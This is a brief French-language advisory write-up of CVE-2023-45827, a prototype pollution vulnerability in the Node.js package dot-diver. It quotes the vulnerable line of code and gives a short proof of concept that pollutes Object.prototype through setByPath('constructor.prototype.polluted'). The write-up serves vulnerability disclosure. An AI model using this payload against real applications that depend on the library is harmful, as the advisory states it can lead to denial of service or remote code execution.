CVE-2023-45827

Aperçu de la vulnérabilité

• CVE-2023-45827

• CVSS : 9.8

• 3 novembre 2023

• ProtoType Pollution dans le package node.js

• Dans le cadre du projet rebob

Description de la vulnérabilité

Avis GitHub

Il s'agit d'une vulnérabilité Prototype Pollution (PP) dans dot-diver. Elle peut entraîner une RCE.

Code vulnérable

//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
//eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value

poc

import { getByPath, setByPath } from '@clickbar/dot-diver'

console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo

C'est une Prototype Pollution (PP) et elle peut entraîner Dos, RCE, etc.

package cible